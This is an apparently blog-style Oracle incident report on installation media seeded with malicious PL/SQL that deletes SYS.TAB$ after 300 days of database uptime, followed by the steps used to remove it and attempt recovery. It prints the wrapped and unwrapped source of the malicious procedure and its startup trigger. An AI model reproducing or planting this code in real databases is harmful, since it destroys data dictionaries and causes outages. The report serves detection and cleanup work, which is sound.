1. 故障现象

客户在进行灾备演练时,发现通过快照复制过来的数据库无法正常启动,报ORA-00600和16730的错误:

ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 29255
Session ID: 191 Serial number: 3

2. 故障分析

根据网上找到的资料,判断是数据库安装介质中被植入的恶意代码(勒索病毒的变种)在数据库运行了300天之后删除了sys.tab$表导致。以下是恶意代码的特征:
1)查看数据库软件的文件prvtsupp.plb,在程序包dbms_support的主体中可以看到多了以下内容:

cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb
...
create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==
/PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin DBMS_SUPPORT_DBMONITORP;
end;
/

unwrap多出的内容显示,恶意代码创建了一个存储过程DBMS_SUPPORT_DBMONITORP和触发器DBMS_SUPPORT_DBMONITOR,数据库在运行了300天以后在下一次实例重启时触发器会删除SYS.TAB$表,导致数据库无法启动。

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;
END;

2)在还未重启的主库上可以看到恶意代码创建的存储过程和触发器,查看程序包的内容,和上面文件中显示的相同。

SQL> select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects2    where object_name like 'DBMS_STANDARD_FUN9 %'3  union all4  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects5    where object_name like 'DBMS_CORE_INTERNAL %'6  union all7  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects8    where object_name like 'DBMS_SYSTEM_INTERNAL %'9  union all10  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects11    where object_name like 'DBMS_SUPPORT_INTERNAL %'12  union all13  select owner, object_name, OBJECT_TYPE, status, to_char(created,'yyyy-mm-dd hh24:mi:ss') created from dba_objects14  where object_name like 'DBMS_SUPPORT%';

3)检查被植入恶意代码的数据库11g安装软件包的SHA1值,与官方下载的安装包不一致:

官方下载的安装包的SHA1值:

3. 故障处理过程

3.1. 备机恢复

由于主库运行300天后还没进行重启,没有触发恶意代码删除sys.tab$表。于是,对主库重新生成新的快照,使用新的快照来复制主库到备机。

1)在备机上启动数据库到挂载模式
SQL> startup mount;

2)在备机上禁用触发器,以避免打开数据库时触发恶意代码执行:
SQL> alter system set “_system_trig_enabled”=false scope=both;

3)在备机上打开数据库
SQL> alter database open

4)在备机上删除恶意代码创建的触发器和存储过程,删除程序包DBMS_SUPPORT
SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
SQL> drop PACKAGE DBMS_SUPPORT;

5)在备机上编辑$ORACLE_HOME/rdbms/admin/prvtsupp.plb文件,清除程序包dbms_support主体中以上列出的中比正常文件多出的恶意代码,或者直接清空文件。

6)在备机上启用触发器:
SQL> alter system set “_system_trig_enabled”=true scope=both;

3.2. 主机修复

执行3.1中的第4和第5步骤,清除主库中的恶意代码。

3.3. 尝试进行sys.tab$表修复

找了一个数据库专家使用bbed脚本(请参考https://blog.csdn.net/linsenaa/article/details/121094839)对已经删除了表sys.tab$的数据库进行数据文件扫描修复测试,成功修复后可以正常打开数据库,但对数据文件进行验证时,文件1有大量的逻辑损坏报错,如下所示:

RMAN> BACKUP VALIDATE CHECK LOGICAL DATABASE;
Error backing up file 1, block 145: logical corruption
Error backing up file 1, block 146: logical corruption
Error backing up file 1, block 147: logical corruption
...
Error backing up file 1, block 94699: logical corruption
Error backing up file 1, block 99995: logical corruption
Error backing up file 1, block 99996: logical corruption=================
File Status Marked Corrupt Empty Blocks Blocks Examined High SCN
---- ------ -------------- ------------ --------------- ----------
1    FAILED 0              13436        90883           1013574   File Name: /u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbfBlock Type Blocks Failing Blocks Processed---------- -------------- ----------------Data       564            56696           Index      0              11682           Other      0              9066            validate found one or more corrupt blocks
See trace file /u01/app/oracle/diag/rdbms/orcl11g/orcl11g/trace/orcl11g_ora_4766.trc for details

再次删除sys.tab$表时,数据库会报以下错误,不能删除该表,有可能是恢复的表结构不正常,导致无法对其进行删除:

SQL> delete sys.tab$;
delete sys.tab$*
ERROR at line 1:
ORA-00600: internal error code, arguments: [kdBlkCheckError], [1], [145],
[6110], [], [], [], [], [], [], [], []

然而,在打开数据库后始终无法导出用户数据,报以下错误:

Export: Release 11.2.0.4.0 - Production on Mon Oct 10 00:38:51 2022Copyright (c) 1982, 2011, Oracle and/or its affiliates.  All rights reserved.Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORA-31626: job does not exist
ORA-31633: unable to create master table "SYSTEM.SYS_EXPORT_SCHEMA_05"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 95
ORA-06512: at "SYS.KUPV$FT", line 1038
ORA-01578: ORACLE data block corrupted (file # 1, block # 82296)
ORA-01110: data file 1: '/u01/app/oracle/oradata/ORCL11G/datafile/o1_mf_system_kmfp8vnk_.dbf'

因此,当sys.tab$表被删除时可能只能依赖于备份进行恢复,用bbed来进行恢复可能行得通但会非常复杂,恢复不完整将无法导出数据。

Oracle恶意代码(300天删除SYS.TAB$表)清除过程记录相关推荐

  1. mysql 删除另一个表中的_mysql – 在一个查询SQL中删除两个表中的记录

    我有两张桌子 EMPGROUP_TBL SEQID | MASTERID | BUSINESS_UNIT | DIVISION | SUB_DIVISION | CLASSIFICATION | SU ...

  2. SqlServer--用代码创建和删除数据库和表

    创建数据库,创建表,设置主键 数据库的分离和附加 MS SQLServer的每个数据库包含: 1个主数据文件(.mdf)必须. 1个事务日志文件(.ldf)必须. 可以包含: 任意多个次要数据文件(. ...

  3. Oracle查询重复数据并删除,只保留一条记录

    1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...

  4. Oracle用rowid删除同一张表的重复记录

    经常有这样一个业务场景,我们在同一张表中有重复的记录,我们要删除重复的记录,这篇文章就是用来解决这个问题的,用的方法是我目前遇到的效率最高的方法(如果有更好的方法欢迎网友提供).这个方法会用到了row ...

  5. oracle 保留一个记录吗,笔记:Oracle查询重复数据并删除,只保留一条记录

    1.查找表中多余的重复记录,重复记录是根据单个字段(Id)来判断 select * from 表 where Id in (select Id from 表 group byId having cou ...

  6. oracle查询重复保留一条-删除,Oracle查询重复数据并删除,只保留一条记录

    前言 项目中,在"资源目录-在线编目"中,资源项子表存在多条重发数据,需要进行数据清理,删除重发的数据,最终只保留一条相同的数据. 操作的表名:R_RESOURCE_DETAILS ...

  7. 删除千万级表中重复记录的办法

    1.   选择候选键,60个字段,应该只用其中几个就可以判断重复了吧.     在候选键的这些字段上建立索引.              CREATE   TRIGGER   tr_历史交易表     ...

  8. linux服务器上网页变形,Linux服务器上用iScanner删除网页恶意代码的方法

    第一步:安装 首先要确保服务器上已经安装了Ruby 复制代码代码如下: #ruby -v //查看ruby的版本信息 如果服务器上没有安装,可以通过yum或者apt-get安装ruby(根据自己服务器 ...

  9. 网站被黑后处理方法及删除批量恶意代码的方法步骤

    网站被黑后处理方法及删除批量恶意代码的方法步骤 如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网 ...

最新文章

  1. P4887 第十四分块(前体) 莫队
  2. 白话Elasticsearch51-深入聚合数据分析之text field聚合以及fielddata原理
  3. HTML5本地存储之Web Storage篇
  4. 苹果雪豹操作系统正式版_iOS 12.3.1正式版“意外”推送,iPhone修复诸多问题!...
  5. C++ 学习之旅(12)——static用法小结
  6. 信息系统项目管理08——项目质量管理
  7. meta分析-stata软件使用
  8. 换你来,你会如何设计微信朋友圈?
  9. G120XA与S7-1200的Modubus通信(一)
  10. VR养狗,养的是寂寞还是潮流?
  11. angular如何生成条形码下载条形码
  12. C++——set基本操作总结
  13. 切面条/猜字母/大衍数列/奇怪的分式
  14. 恒烁M0+系列CX32L003单片机及其GPIO的操作
  15. 课程设计:经验以及答辩情况汇总
  16. html页面,文字的自动换行
  17. amazon - amzreport 之 amazon report list
  18. [HTML5]配置Ngnix服务器支持manifest
  19. 分析发彩信tcp/ip数据包
  20. 数据通信技术初级工程师

热门文章

  1. Excel Sheet Column
  2. Zookeeper+Hadoop+Hbase+Hive+Kylin+Nginx集群搭建十一(Nginx负载均衡篇)
  3. MapReduce实现好友单向推荐
  4. java网上商城外文翻译_《外文翻译--基于Java的网上商城系统的设计与实现》毕业学术论文.doc...
  5. 2020-12-21 数学基础 -- 序列极限(夹逼定理、重要极限、聚点原理)
  6. t1服务器怎么采集视频信号,如何将摄像机拍摄信号采集到抖音直播伴侣软件
  7. java计算机毕业设计汽车客运站票务管理系统源码+程序+lw文档+mysql数据库
  8. 数采仪TS910之下环保物联网综合解决方案
  9. 一个仿凡客电子商务平台的沉思
  10. LeetCode题解:井字游戏